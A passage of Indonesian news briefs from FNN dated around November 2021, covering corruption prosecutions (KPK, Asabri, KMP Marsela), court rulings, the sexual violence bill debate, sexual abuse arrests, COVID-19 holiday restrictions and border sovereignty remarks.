hati-hati karena peraturan ini sudah menyingkap sedemikian rupa. Kami tidak bisa memberhentikan atau memutasi semena-mena. Harus sesuai dengan peraturan. Kalau belum ditahan tidak bisa. Maka kami mengikuti peraturan itu," jelas Sujianto. Saat ini penyidik Polda Riau telah menetapkan SH sebagai tersangka dugaan pelecehan terhadap mahasiswi bimbingannya pada Oktober 2021 di ruang Dekan FISIP Universitas Riau. (sws)

MK Tolak Uji Materi UU KY yang Diajukan Mantan Calon Hakim Ad Hoc

Jakarta, FNN - Majelis Hakim Mahkamah Konstitusi (MK) menolak seluruh gugatan uji materi Undang-Undang Nomor 18 Tahun 2011 tentang Komisi Yudisial (KY) yang diajukan oleh seorang dosen sekaligus mantan calon Hakim Ad Hoc Tindak Pidana Korupsi bernama Dr Burhanudin. "Menolak permohonan pemohon untuk seluruhnya," kata Ketua MK Anwar Usman saat membacakan amar putusan yang digelar MK secara virtual di Jakarta, Rabu. Dalam konklusi yang dibacakan langsung oleh Ketua MK Anwar Usman, terdapat sejumlah poin di antaranya mahkamah menyatakan pokok permohonan pemohon tidak beralasan menurut hukum. Pokok permohonan pemohon yang menggugat Pasal 13 huruf a Undang-Undang Nomor 18 Tahun 2011 tentang KY pada intinya memohon agar menyatakan frasa "dan Hakim Ad Hoc" dalam Pasal 13 huruf a Undang-Undang Nomor 18 Tahun 2011 bertentangan dengan UUD 1945 dan tidak mempunyai kekuatan hukum mengikat. Senada dengan itu, Majelis Hakim Saldi Isra mengatakan diperlukan perisai untuk menegakkan independensi dan imparsialitas hakim guna mewujudkan kemerdekaan kehakiman. Dalam konteks tersebut, seleksi Hakim Ad Hoc di Mahkamah Agung (MA) oleh Komisi Yudisial harus dilaksanakan secara profesional dan objektif. Tidak hanya itu, sambung Saldi Isra, sejauh ini mahkamah berpandangan proses seleksi yang menjadi kewenangan Komisi Yudisial dalam menyeleksi Hakim Ad Hoc di MA masih diperlukan sepanjang ada permintaan dari MA. Sementara itu, Juru Bicara KY Miko Susanto Ginting mengatakan KY mengapresiasi putusan MK yang telah memperkuat konstitusionalitas kewenangan lembaga itu dalam melakukan seleksi Hakim Ad Hoc di MA. Selama proses persidangan tersebut, lanjut dia, KY berusaha mengerahkan semua sumber daya yang ada. Dengan dipertahankannya kewenangan tersebut, ke depan KY berupaya melakukan seleksi terhadap calon Hakim Ad Hoc di MA dengan sebaik-baiknya. (sws)

KPK Perpanjang Masa Penahanan Orang Kepercayaan Zumi Zola

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) memperpanjang masa penahanan tersangka Apif Firmansyah (AF) yang merupakan orang kepercayaan mantan Gubernur Jambi Zumi Zola. Apif adalah tersangka kasus dugaan suap terkait pengesahan RAPBD Provinsi Jambi Tahun 2018. "Tim penyidik memperpanjang masa penahanan bagi tersangka AF untuk 40 hari ke depan terhitung sejak 24 November 2021 sampai dengan 2 Januari 2021 di Rutan KPK pada Gedung Merah Putih," ucap Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Rabu. Ali mengatakan perpanjangan penahanan tersebut dilakukan untuk terus melengkapi berkas perkara tersangka Apif. "Penyidik masih mengagendakan pemanggilan saksi-saksi terkait lainnya," kata Ali. KPK telah mengumumkan Apif sebagai tersangka pada Kamis (4/11). Dalam konstruksi perkara, KPK menjelaskan Apif sebagai orang kepercayaan dan representasi dari Zumi di mana saat Zumi maju menjadi calon Bupati Tanjung Jabung Timur, Jambi pada 2010, Apif selalu mendampingi Zumi melakukan kampanye. Saat Zumi terpilih menjadi Bupati Tanjung Jabung Timur, Apif semakin dipercaya untuk mendampingi, membantu, dan mengurus berbagai kegiatan dinas sampai dengan keperluan pribadi Zumi. Berlanjut hingga Zumi terpilih menjadi Gubernur Jambi periode 2016-2021, Apif kembali dipercaya untuk mengurus semua keperluan Zumi di antaranya mengelola kebutuhan dana operasional dengan meminta sejumlah "fee" proyek dari para kontraktor yang mengerjakan berbagai proyek di Provinsi Jambi. Kemudian sejumlah uang yang terkumpul tersebut diberikan kepada Zumi dan keluarganya termasuk untuk keperluan pribadi Apif. Adapun total yang telah dikumpulkan oleh Apif sekitar Rp46 miliar di mana dari jumlah uang tersebut sebagaimana perintah Zumi, sebagian diberikan kepada Anggota DPRD Provinsi Jambi terkait uang "ketok palu" pembahasan RAPBD Tahun Anggaran 2017. KPK menduga Apif menerima dan menikmati uang sekitar Rp6 miliar untuk keperluan pribadinya dan yang bersangkutan saat ini sudah mengembalikan Rp400 juta ke KPK. Atas perbuatannya, tersangka Apif disangkakan melanggar Pasal 5 ayat 1 huruf a atau huruf b atau Pasal 13 dan Pasal 12b atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat (1) ke-1 KUHP. (sws)

Aset Sitaan Asabri Bertambah Jadi Rp16 Triliun

Jakarta, FNN - Penyidik Jaksa Agung Muda Tindak Pidana Khusus Kejaksaan Agung terus memburu aset tersangka dan terdakwa korupsi Asabri yang disita mencapai Rp16,2 triliun. Direktur Penyidikan (Dirdik) Jampidsus Supardi mengatakan bahwa pihaknya berhasil mengumpulkan aset tersangka dengan mencapai Rp1 triliun selama beberapa waktu terakhir. Dengan demikian, terjadi penambahan nilai aset yang telah dikumpulkan penyidik dari sebelumnya Rp15,2 triliun menjadi Rp16,2 triliun. "Iya, sudah (Rp16,2 trilun). Kemarin sudah sebagian besar sudah selesai dihitunglah. Akumulasi untuk Asabri, kalau dapat Rp1 triliun, kemarin kan Rp15,2 triliun, nambah Rp1 triliun, jadi Rp16,2 triliun dari selama penyitaan," kata Supardi saat dikonfirmasi di Jakarta, Rabu. Baru-baru ini penyidik Jampidsus menyita aset milik tersangka Teddy Tjockrosaputro berupa hotel Lafayette Boutique di Yogjakarta dan pusat perbelanjaan Ambon City Center. Supardi mengatakan bahwa pihaknya masih terus mencari aset-aset tersangka dan terdakwa korupsi Asabri untuk mengembalikan kerugian keuangan negara yang dihitung Badan Pemeriksa Keuangan (BPK) sebesar Rp22,78 triliun. Ia pun mengakui aset sitaan tersebut masih belum mencukupi nominal kerugian keuangan negara yang ditimbulkan dalam skandal korupsi tersebut. "Kami menargetkan mendapatkan sebanyak-banyaknya untuk mencari aset-aset dalam rangka pemulihan kerugian negara," kata Supardi. Hal itu termasuk aset yang berada di luar negeri juga menjadi target. Namun, kata Supardi, penyitaan aset di luar negeri membutuhkan mekanisme perjanjian Mutual Legal Assistance (MLA). "Tidak gampang sita aset luar negeri, kecuali jika ada negara yang sukarela untuk membantu. Namun, sampai saat ini belum," kata Supardi. Selain itu, penyitaan aset terhadap tiga tersangka baru kasus Asabri juga telah dilakukan oleh penyidik Gedung Bundar. Tiga tersangka yang dimaksudkan, yakni Edwar Seky Soerjadjaya, mantan Direktue Ortos Holeing Ltd., kemudian Bety Halim, mantan Komisaris Utama PT Sinergi Millenium Sekuritas, dan Rennier Abdul Rachman Latief, dan Komisaris PT Sekawan Intipratama. Ketiga tersangka ini berstatus terpidana dan terdakwa dari sejumlah perkara korupsi lain. Supardi mengatakan bahwa penyidik sudah menginventarisi aset ketiga tersangka yang diduga bersumber dari korupsi Asabri. "Insyaallah, nanti ada. Itu 'kan perkaranya karena sudah ditahan pada perkara lain 'kan enggak terlalu buru-buru dengan yang sudah perkara tersendiri proses penahanan. Intinya bahwa itu akan pada satu titik, ya, ke sana," kata Supardi. Dalam kasus Asabri ini, delapan terdakwa tengah menjalani proses persidangan di Pengadilan Tipikor Jakarta, sementara empat tersangka baru perorangan. Selain tersangka perorangan, penyidik Kejaksaan Agung juga menetapkan 10 manajer investasi sebagai tersangka korporasi dalam perkara Asabri. Kesepuluh tersangka manajer investasi tersebut, yakni PT IIM, PT MCM, PT PAAM, PT RAM, dan PT VAM, kemudian PT ARK, PT. OMI, PT MAM, PT AAM, dan PT CC. (sws)

Komnas Perempuan: RUU TPKS Perlu Disempurnakan dengan Rumusan KBGS

Jakarta, FNN - Komisioner Komnas Perempuan Maria Ulfah Anshor memandang perlu penyempurnaan Rancangan Undang-Undang Tindak Pidana Kekerasan Seksual (RUU TPKS) dengan penambahan rumusan tentang kekerasan berbasis gender siber (KBGS). "Rumusan kekerasan berbasis gender siber itu belum masuk RUU TPKS. Padahal, pada masa pandemi kasus-kasus KGBS berdasarkan catatan tahunan Komnas Perempuan naik 920 persen dari data tahun 2019 atau sebelum masa pandemi," kata Maria Ulfah Ansor. Maria mengemukakan hal itu pada seminar nasional bertajuk Urgensi Pengesahan RUU TPKS untuk Proteksi dan Perlindungan Perempuan dan Anak Menuju Keluarga Maslahah yang disiarkan langsung di kanal YouTube TVNU Televisi Nahdlatul Ulama, dipantau dari Jakarta, Rabu. Pada tahun 2019, kata Maria, kasus kekerasan seksual berbasis gender di Indonesia yang tercatat dalam catatan tahunan Komnas Perempuan berjumlah 35 kasus. Pada masa pandemi, tepatnya 2020, kasus yang tercatat mencapai 329 kasus. "Dalam setahun itu, ada kenaikan drastis. Ada 920 persen kenaikan pada masa pandemi," katanya. Disebutkan pula beberapa hal lain yang perlu disempurnakan dalam RUU TPKS, di antaranya adalah tindak pidana kekerasan seksual sebagai norma tindak pidana atau pemberatan, penguatan rumusan unsur tindak pidana eksploitasi seksual, dan penegasan tindak pidana kekerasan seksual di luar hubungan suami istri. Di samping itu, diperlukan pula penyempurnaan terkait dengan elemen pencegahan kekerasan seksual, penegasan terhadap perlindungan hak korban, perumusan ketentuan delegatif, dan ketentuan lain yang perlu ditambahkan ke dalam RUU TPKS sebagai pasal jembatan terhadap RUU lainnya. Ketentuan yang menjadi pasal jembatan itu, lanjut Maria, perlu karena beberapa pihak penolak RUU TPKS menganggap rancangan undang-undang tersebut akan beririsan dengan aturan lain. Mereka menganggap apabila RUU TPKS disahkan terlebih dahulu sebelum RUU KUHP, akan lahir aturan hukum yang beririsan. "Bahkan, mereka beragumentasi RUU ini menunggu RUU KUHP disahkan. Padahal, proses RUU KUHP itu jauh lebih kompleks dan membutuhkan pemikiran serta analisis yang lebih komprehensif ketimbang RUU TPKS," katanya. Oleh karena itu, Maria menyarankan pasal-pasal yang menjembatani RUU TPKS dengan aturan lain perlu ditambahkan sebelum RUU KUHP disahkan. (sws)

BNN Ajak ASN Sekretariat DPRD Sultra Perangi Narkoba

Kendari, FNN - Badan Narkotika Nasional (BNN) Provinsi Sulawesi Tenggara mengajak seluruh ASN Sekretariat DPRD Sultra bersama-sama memerangi penyalahgunaan ataupun peredaran gelap narkoba. Koordinator Bidang Pencegahan dan Pemberdayaan Masyarakat BNNP Sultra Harmawati, di Kendari, Rabu, mengatakan dampak pemakaian narkoba atau obat-obatan terlarang lainnya dapat menimbulkan kerusakan otak, gangguan perilaku, mental, dan kesehatan. "Oleh karena itu, kami mengajak semua pihak, termasuk ASN dan pejabat di Kantor Sekretariat DRPD Sultra bersama-sama mencegah penyalahgunaan dan peredaran gelap narkoba," katanya. Dia menjelaskan dampak lain penyalahgunaan narkoba dapat merusak tatanan sosial, kehidupan bermasyarakat, bahkan bisa dijerat hukum jika berani mengedarkan. "Untuk itu, memerangi narkoba sangat penting disinergikan demi melindungi keluarga, lingkungan, dan terutama generasi bangsa kita," ujar dia. BNN Sultra menggelar sosialisasi kepada seluruh ASN Sekretariat DPRD Sultra sebagai bentuk membangun sinergi memerangi penyalahgunaan dan peredaran gelap narkoba. Harmawati menuturkan bahwa sosialisasi itu merupakan wujud dari implementasi Inpres Nomor 2 Tahun 2020 tentang Rencana Aksi Nasional P4GN dan Prekusor Narkotika. "Kami juga melakukan tes urine kepada 20 orang jajaran Sekretariat DPRD Sultra dan semua hasilnya dinyatakan negatif," demikian Harmawati. Sosialisasi diikuti ASN dan pejabat Sekretariat DPRD Sultra dan dihadiri Kepala Bidang Ketahanan, Ekonomi, Sosial, Budaya, Agama, dan Ormas Kesbangpol Hamdani serta Kepala Bagian Umum Sekretariat DPRD Sultra Tri Wahyudi. (sws)

Polres Kota Surakarta Tahan Pelaku Kasus Pencabulan Anak di Bawah Umur

Solo, FNN - Satuan Rekrim Polres Kota Surakarta menahan seorang pelaku diduga melakukan pencabulan terhadap anak di bawah umur dalam sebuah mobil kawasan Banyuanyar Banjarsari, Solo, Jawa Tengah. Tersangka kasus pencabulan anak di bawah umur tersebut, yakni berinisial HDC (30), warga Banyuanyar Laweyan Banjarsari Solo kini ditahan di Mapolres Surakarta untuk pemeriksaan lebih lanjut," kata Kepala Polresta Surakarta Kombes Pol Ade Safri Simanjutak, dalam konferensi pers di Mapolresta Surakarta, Rabu. Kapolres menjelaskan modus tersangka jauh-jauh hari sebelum kejadian mengambil hati korban dengan cara memberikan janji-janji dan masukan-masukan terhadap permasalahan sekolah dan keuangan korban. Hal tersebut, korban menjadi terperdaya sehingga tidak bisa menolak apa yang diinginkan tersangka. "Tersangka dengan korban hubungannya, seorang pemilik usaha kuliner di Solo dengan karyawannya yang usianya masih 17 tahun," kata Kapolres. Tersangka tersebut dengan tipu muslihat menjanjikan kepada korban antara lain akan menaikkan gaji korban tanpa alasan, dan lainnya termasuk diarahkan untuk pendidikan kuliah. Kapolres mengatakan kejadiannya berawal tersangka mengajak korban ke sebuah kafe di Jalan Slamet Riyadi Laweyan Solo, pada tanggal 18 September 2021 sekitar pukul 22.30 WIB. Tersangka dicafe itu, untuk membahas permasalahan yang sedang korban alami. Tersangka mengajak korban minum minuman beralkohol yang memabukkan dan muslihat yang disampaikan terdahulu disampaikan lagi pada kegiatan itu. Apa yang disampaikan dan dijanjikan tersangka membuat korban enggan untuk menolak apa yang diinginkan tersangka selanjutnya terjadilah perbuatan cabul dan persetubuhan di dalam mobil milik tersangka, di kawasan Banyuanyar Solo, pada tanggal 19 September 2021, sekitar pukul 00.30 WIB. Polisi setelah mendapatkan laporan dari pihak keluarga langsung melakukan penyelidikan dan menangkap tersangka di rumahnya, pada awal November 2021. Tersangka kini sedang diperiksa dan ditahan untuk proses hukum. Barang bukti yang disita antara lain dari korban berupa celana panjang warna krem, outer warna hitam, BH warna krem, kaos warna ungu, celana dalam warna maron. Barang bukti dari tersangka, satu unit mobil BMW warna metalik nopol AD 1633 GA, satu buah flasdisk yang berisi rekaman CCTV, satu lembar nota bukti pembayaran minuman dan makanan yang dipesan, dua buah botol bekas minuman keras. Atas perbuatan tersangka dijerat dengan pasal 81 ayat (2) jo pasal 76D dan/atau pasal 82 ayat (1) jo pasal 76E Undang Undang RI Nomor 17 Tahun 2016 tentang Penetapan Peraturan Pemerintah Pengganti UU RI Nomor 1 Tahun 2016 tentang Perubahan Kedua Atas UU RI Nomor 23 Tahun 2002 tentang Perlindungan Anak Menjadi UU RI dan/atau pasal 89 ayat (2) Jo. pasal 76J ayat (2) UU RI Nomor 35 Tahun 2014 tentang Perubahan atas UURI Nomor 23 Tahun 2002 tentang Perlindungan Anak. Ancaman Hukuman dengan pasal 81 ayat (2) jo pasal 76D, yakni pidana penjara paling singkat 5 tahun paling lama 15 tahun dan denda paling banyak Rp5 miliar. Pasal 82 ayat (1) jo pasal 76E dengan pidana penjara paling singkat 5 tahun paling lama 15 tahun dan denda paling banyak Rp5 miliar. Pasal 89 ayat (2) Jo. pasal 76J ayat (2) yakni pidana penjara paling singkat 2 tahun paling lama 10 tahun dan denda paling sedikit Rp20 juta dan paling banyak Rp200 juta. (sws)

Jaksa Limpahkan Berkas Korupsi Dana Pengelolaan KMP Marsela

Ambon, FNN - Kasi Penuntutan Kejati Maluku bersama Plt Kasi Pidsus Kejari Maluku Barat Daya melimpahkan berkas perkara tiga tersangka dugaan korupsi dana pengelolaan Kapal Motor Penumpang (KMP) Marsela oleh PT. Kalwedo ke Pengadilan Tipikor pada Kantor Pengadilan Negeri Ambon. "Hari ini kami telah melakukan pelimpahan berkas dugaan korupsi tersebut ke Pengadilan Tipikor untuk proses hukum lebih lanjut," kata Kasi Penkum dan Humas Kejati setempat, Wahyudi Kareba di Ambon, Rabu. Menurut dia, pelimpahan berkas ini dilakukan setelah jaksa merampungkan surat dakwaan perkara dugaan korupsi dan penyimpangan dana pengelolaan KMP Marsela oleh PT. Kalwedo yang merupakan BUMD Pemkab Maluku Barat Daya Tahun Anggaran 2016 dan 2017. Tiga orang yang ditetapkan sebagai tersangka dalam perkara yang merugikan keuangan negara sebesar Rp2,11 miliar ini masing-masing berinisial LT selaku mantan Direktur PT. Kalwedo serta BTR dan JJL sebagai karyawan BUMD itu. Menurut dia, kerugian keuangan negara tersebut didasarkan laporan hasil audit perhitungan kerugian keuangan negara yang dilakukan BPKP RI Perwakilan Provinsi Maluku. "Kini tinggal menunggu pembentukan Majelis Hakim Tipikor oleh pengadilan dan penetapan waktu persidangan," jelas Wahyudi. BUMD ini pada tahun anggaran 2016 mendapatkan anggaran dari pemkab setempat sebesar Rp10 miliar untuk pengelolaan KMP Marsela. Penetapan tersangka oleh penyidik Kejati Maluku dilakukan setelah mendapatkan laporan hasil penghitungan kerugian keuangan negara yang dilakukan BPKP RI Perwakilan Provinsi Maluku. Kemudian kejaksaan melakukan gelar perkara dan ditemukan adanya unsur-unsur kerugian keuangan negara sehingga dilakukan penetapan tersangka. Penyidik Kejati Maluku selama ini telah memanggil sejumlah pihak untuk dimintai keterangan dalam perkara tersebut, termasuk mantan Direktur PT Kalwedo berinisial LT dan UJM selaku Kuasa Pengguna Anggaran Tahun 2016 dalam proyek pengadaan KMP Marsela tersebut. (sws)

Polri Adakan Lomba Orasi Unjuk Rasa Piala Kapolri Peringati HAM

Jakarta, FNN - Divisi Humas Polri memperingati Hari Hak Asasi Manusia (HAM) Sedunia dengan mengadakan Lomba Orasi Unjuk Rasa memperebutkan Piala Kapolri pada 10 Desember 2021. Kepala Divisi Humas Polri Irjen Pol. Dedi Prasetyo menjelaskan bahwa lomba tersebut bertujuan untuk memberikan ruang dan wadah kepada masyarakat dalam menyampaikan aspirasi dan ekspresinya. "Sekaligus memberikan edukasi kepada masyarakat cara menyampaikan aspirasi sesuai dengan aturan dan hukum yang berlaku," kata Dedi dalam keterangan tertulisnya yang diterima di Jakarta, Rabu. Ia menjelaskan bahwa lomba tersebut mengangkat tema Memperingati Hari Hak Asasi Manusia dengan subtema bebas. Peserta dibebaskan untuk sampaikan orasi dalam bentuk kritik ataupun masukan yang membangun. Mantan Kapolda Kalimantan Tengah ini mengatakan bahwa kegiatan orasi ini merupakan komitmen dari Polri yang sangat menghargai aspirasi-aspirasi dari masyarakat yang merupakan salah satu dari HAM. Hal ini sebagaimana tertuang dalam UUD NRI Tahun 1945 Pasal 28 dan Undang-Undang Nomor 9 Tahun 1998 tentang Kemerdekaan Menyampaikan Pendapat di Muka Umum. "Polri selalu menghormati dan menghargai HAM dalam bentuk mengawal demokrasi dengan melindungi warga negara yang menyampaikan pendapat di muka umum," ujarnya. Seperti halnya Festival Mural Piala Kapolri yang dilaksanakan 30 Oktober lalu, lomba orasi ini juga dilaksanakan di 34 polda seluruh Indonesia. Adapun teknis lomba orasi itu nantinya akan melalui seleksi di tingkat polda yang nantinya akan disaring untuk masuk ke tingkat Mabes Polri. Lomba orasi ini mempersilakan seluruh unsur elemen masyarakat ikut berpartisipasi, mulai dari mahasiswa, buruh, tani, hingga elemen lainnya. Lomba ini terdiri atas satu tim yang bisa berisikan 5—15 orang. Disebutkan pula bahwa pendaftaran lomba sejak 25—30 November 2021. Setelah melewati penyaringan di tingkat polda, pada tanggal 10 Desember peserta yang juara pertama di daerah akan tampil di tingkat pusat atau Mabes Polri. Dalam perlombaan ini, Polri menyiapkan hadiah senilai Rp50 juta untuk juara pertama; Rp30 juta untuk juara kedua; dan Rp20 juta untuk peserta juara ketiga. (sws)

Instruksi Mendagri Pencegahan COVID-19 pada Natal dan Tahun Baru

Jakarta, FNN - Menteri Dalam Negeri Tito Karnavian menerbitkan instruksi tentang pencegahan dan penanggulangan Coronavirus Disease 2019 pada saat Natal 2021 dan Tahun Baru 2022. Instruksi Menteri Dalam Negeri Nomor 62 Tahun 2021 mulai berlaku pada tanggal 24 Desember 2021 sampai 2 Januari 2022. Mendagri menginstruksikan agar kepala daerah mengaktifkan kembali fungsi Satuan Tugas Penanganan COVID-19 di masing-masing lingkungan, baik pada tingkat provinsi, kabupaten/kota, kecamatan, kelurahan/desa, maupun rukun tetangga (RT)/rukun warga (RW) paling lama pada tanggal 20 Desember 2021. Selain itu, menerapkan protokol kesehatan (prokes) yang lebih ketat dengan pendekatan 5M (memakai masker, mencuci tangan pakai sabun/hand sanitizer, menjaga jarak, mengurangi mobilitas, dan menghindari kerumunan) dan 3T (testing, tracing, treatment). Pemerintah daerah juga diinstruksikan melakukan percepatan pencapaian target vaksinasi, terutama vaksinasi lansia, sampai akhir Desember 2021. Berikutnya, melakukan koordinasi dengan forum koordinasi pimpinan daerah (forkopimda) dan pemangku kepentingan lainnya di antaranya tokoh agama, tokoh masyarakat, organisasi kemasyarakatan, dan pengelola hotel. Daerah juga diminta berkoordinasi dengan pengelola tempat wisata, pengelola mal, dan pelaku usaha serta pihak lain yang dianggap perlu sesuai dengan karakteristik masing-masing daerah dalam rangka pencegahan dan penegakan disiplin sesuai dengan ketentuan peraturan perundang-undangan. Gubernur, wali kota, dan bupati diinstruksikan melakukan sosialisasi peniadaan mudik Natal dan tahun baru kepada warga dan masyarakat perantau yang berada di wilayahnya. Apabila terdapat pelanggaran, dilakukan pemberian sanksi sesuai dengan ketentuan peraturan perundang-undangan. Imbauan bagi masyarakat untuk tidak berpergian, tidak pulang kampung dengan tujuan yang tidak penting atau tidak mendesak. Daerah perlu melakukan pengetatan arus pelaku perjalanan masuk dari luar negeri, termasuk pekerja migran Indonesia (PMI) sebagai antisipasi tradisi mudik Natal dan tahun baru. Instruksi selanjutnya yakni melaksanakan pengetatan dan pengawasan protokol kesehatan di tiga tempat. Pertama, gereja/tempat yang difungsikan sebagai tempat ibadah pada saat perayaan Natal 2021. Selanjutnya, tempat perbelanjaan dan tempat wisata lokal dengan memberlakukan kebijakan sesuai pada pemberlakuan pembatasan kegiatan masyarakat (PPKM) level tiga. Pelarangan cuti bagi aparatur sipil negara (ASN), Tentara Nasional Indonesia (TNI), Polri, badan usaha milik negara (BUMN), dan karyawan swasta selama periode tersebut juga masuk dalam instruksi Mendagri. Begitu juga, imbauan kepada pekerja/buruh untuk menunda pengambilan cuti setelah periode liburan Natal dan tahun baru. Ketentuannya akan diatur lebih lanjut kementerian lembaga teknis terkait. Kepala daerah juga diinstruksikan melakukan imbauan kepada sekolah agar pembagian rapor semester pertama pada bulan Januari 2022 dan tidak meliburkan secara khusus pada periode libur Natal dan tahun baru. Instruksi selanjutnya melakukan penerapan PPKM Level 3 pada acara pernikahan dan acara sejenisnya, meniadakan kegiatan seni budaya dan olahraga pada periode itu, dan menutup semua alun-alun pada tanggal 31 Desember 2021 sampai dengan 1 Januari 2022. Daerah diinstruksikan melakukan rekayasa dan antisipasi aktivitas pedagang kaki lima di pusat keramaian agar tetap dapat menjaga jarak antara pedagang dan pembeli. Masyarakat dengan hal primer harus melakukan perjalanan keluar daerah harus mengoptimalkan penggunaan aplikasi PeduliLindungi, melakukan tes PCR atau tes antigen dengan menyesuaikan pengaturan moda transportasi yang digunakan untuk memastikan pelaku perjalanan negatif COVID-19. Ketika ditemukan pelaku perjalanan positif COVID-19, harus melakukan karantina mandiri atau karantina pada tempat yang telah disiapkan pemerintah untuk mencegah adanya penularan dengan waktu karantina sesuai dengan prosedur kesehatan. Berikutnya, instansi pelaksana bidang perhubungan dan satuan polisi pamong praja (satpol PP) diinstruksikan melakukan penguatan, pengendalian, pengawasan terhadap pelaku perjalanan pada posko cek poin di daerah masing-masing bersama dengan TNI dan Polri selama periode itu. Mendagri juga menginstruksikan soal pencegahan potensi penyebaran COVID-19 pada pelaksanaan atau penyelenggaraan ibadah Natal 2021. Hal itu ditujukan pada pihak terkait, petugas, dan penyelenggara agar memastikan pelaksanaan dan tempat ibadah aman dari COVID-19. Instruksi yang sama juga ditujukan untuk pelaksanaan perayaan tahun baru. Perayaan Tahun Baru 2022 sedapat mungkin masyarakat tinggal di rumah berkumpul bersama keluarga. Menghindari kerumunan dan perjalanan serta melakukan kegiatan di lingkungan masing-masing yang tidak berpotensi menimbulkan kerumunan sambil melakukan antisipasi menyiapkan diri dan lingkungan dalam menghadapi potensi bencana hidrometeorologi, seperti banjir dan longsor sesuai dengan prediksi Badan Meteorologi, Klimatologi, dan Geofisika (BMKG). Selanjutnya, melarang adanya pawai dan arak-arakan tahun baru serta pelarangan acara old and new year, baik terbuka maupun tertutup, yang berpotensi menimbulkan kerumunan. Aplikasi PeduliLindungi mesti digunakan pada saat masuk dan keluar dari mal/pusat perbelanjaan serta hanya pengunjung dengan kategori kuning dan hijau yang diperkenankan masuk. Meniadakan event perayaan Natal dan tahun baru di pusat perbelanjaan dan mal, kecuali pameran UMKM, melakukan perpanjangan jam operasional pusat perbelanjaan untuk mencegah kerumunan pada jam tertentu, dan melakukan pembatasan dengan jumlah pengunjung tidak melebihi 50 persen. Bioskop dapat dibuka dengan pembatasan kapasitas maksimal 50 persen dengan penerapan protokol kesehatan yang lebih ketat, serta kegiatan makan dan minum di dalam pusat perbelanjaan/mal dapat dilakukan dengan pembatasan kapasitas maksimal 50 persen. Pengaturan pembatasan juga diberlakukan untuk tempat wisata seperti meningkatkan kewaspadaan sesuai dengan pengaturan PPKM Level 3 khusus untuk daerah-daerah sebagai destinasi pariwisata favorit. Mengidentifikasi tempat wisata yang menjadi sasaran liburan di setiap kabupaten/kota agar memiliki protokol kesehatan yang baik. Menerapkan pengaturan ganjil genap untuk mengatur kunjungan ke tempat-tempat wisata prioritas. Penerapan protokol kesehatan yang lebih ketat dengan pendekatan 5M, dan memastikan tidak ada kerumunan yang menyebabkan tidak bisa jaga jarak. Pembatasan jumlah wisatawan, melarang pesta perayaan dengan kerumunan di tempat terbuka/tertutup, dan mengurangi penggunaan pengeras suara yang menyebabkan orang berkumpul secara masif juga diberlakukan di tempat wisata. Instruksi pencegahan COVID-19 selama masa Natal dan tahun baru itu berbeda pada dua instruksi Mendagri lainnya, yakni Inmendagri PPKM Jawa-Bali dan Inmendagri PPKM Wilayah Sumatera, Nusa Tenggara, Kalimantan, Sulawesi, Maluku, dan Papua. (sws)

Panja DPR: Pengambilan Keputusan RUU TPKS Terkendala Dukungan Fraksi

Jakarta, FNN - Ketua Panitia Kerja Rancangan Undang-Undang Tindak Pidana Kekerasan Seksual (RUU TPKS) DPR RI Willy Aditya mengatakan penyelenggaraan rapat pleno di Badan Legislatif (Baleg) DPR RI untuk mengambil keputusan terhadap naskah RUU TPKS terkendala dukungan fraksi. “Harusnya sesuai agenda, besok adalah pleno di Badan Legislasi untuk pengambilan keputusan dari Baleg terhadap naskah ini (RUU TPKS). Saya sampaikan kenapa ini belum bisa pleno, kondisi yang dukung baru 4 fraksi,” ujar Willy Aditya. Hal itu ia sampaikan saat menjadi narasumber seminar nasional bertajuk “Urgensi Pengesahan RUU TPKS untuk Proteksi dan Perlindungan Perempuan dan Anak Menuju Keluarga Maslahah” yang disiarkan langsung di kanal YouTube TVNU Televisi Nahdlatul Ulama, dipantau dari Jakarta, Rabu. Apabila penyelenggaraan pleno pengambilan keputusan dipaksakan sesuai jadwal, lanjut Willy, pembahasan naskah RUU TPKS bisa kalah suara. “Kalau kita kalah, artinya undang-undang ini gugur. Padahal, niatnya baik dan kehadirannya ditunggu oleh publik,” tambahnya. Dengan demikian, menurut Willy, Panitia Kerja RUU TPKS masih mencari ruang-ruang lobi untuk mendapatkan dukungan minimal dari satu fraksi sehingga rancangan aturan tersebut bisa dilanjutkan ke tahapan sidang paripurna sebagai hak inisiatif DPR. Melalui hak inisiatif tersebut, DPR dapat mengajukan rancangan undang-undang kepada presiden atau pemerintah. Sejauh ini, ujar Willy, naskah RUU TPKS sebenarnya telah memadai dan komprimistis. “Bahkan, Ketua Baleg Pak Supratman meminta teman-teman Panja untuk mencari materi muatan yang membuka ruang kebebasan seks dan perilaku seks menyimpang, itu juga tidak ada,” tambahnya. Willy Aditya menegaskan posisi DPR secara politik bukanlah suatu kesatuan institusional melainkan merupakan ruang pertarungan politik antara pihak yang menyepakati dan menolak. Oleh karena itu, pelaksanaan pleno yang direncanakan digelar pada 25 November 2021 tidak bisa dipaksakan sebelum dukungan suara diperoleh minimal 5 fraksi. (sws)

Mahfud Ingatkan Jangan Sampai Pulau Terluar Lepas dari Indonesia

Jakarta, FNN - Menteri Koordinator Bidang Politik, Hukum, dan Keamanan (Menko Polhukam) Mahfud MD mengingatkan agar pulau-pulau terluar Indonesia jangan sampai lepas dan diambil oleh negara lain. "Ini memang isunya tidak popular dan tidak banyak yang tahu, tapi kita jaga terus setiap hari. Semua upaya kita lakukan untuk menjaga kedaulatan wilayah Indonesia. Tanah dan perairan tidak boleh sejengkal pun hilang dari kekuasaan, kedaulatan hukum, dan teritori kita," kata Mahfud saat bertolak ke Pulau Sekatung dan Pulau Laut menggunakan helikopter dari KRI Semarang di perairan Natuna, Provinsi Kepulauan Riau, Rabu. Mahfud dalam siaran persnya, menegaskan pemerintah tidak pernah membiarkan penjagaan kedaulatan wilayah Indonesia lengah atas segala bentuk ancaman. Mahfud yang juga sebagai Ketua Pengarah Badan Nasional Pengelola Perbatasan (BNPP) beserta Menteri Dalam Negeri Tito Karnavian selaku Kepala BNPP memastikan kelangsungan penjagaan kedaulatan dari pulau-pulau terluar Indonesia. Mahfud dan Tito didampingi Panglima Komando Gabungan Wilayah Pertahanan (Pangkogabwilhan) I Laksamana Madya TNI Muhammad Ali dan Bupati Natuna Wan Siswandi. Menurut Mahfud, bangsa Indonesia harus bangga dan menjaga kekayaan yang memiliki 17.504 pulau, termasuk pulau kecil, seperti Pulau Sekatung dan 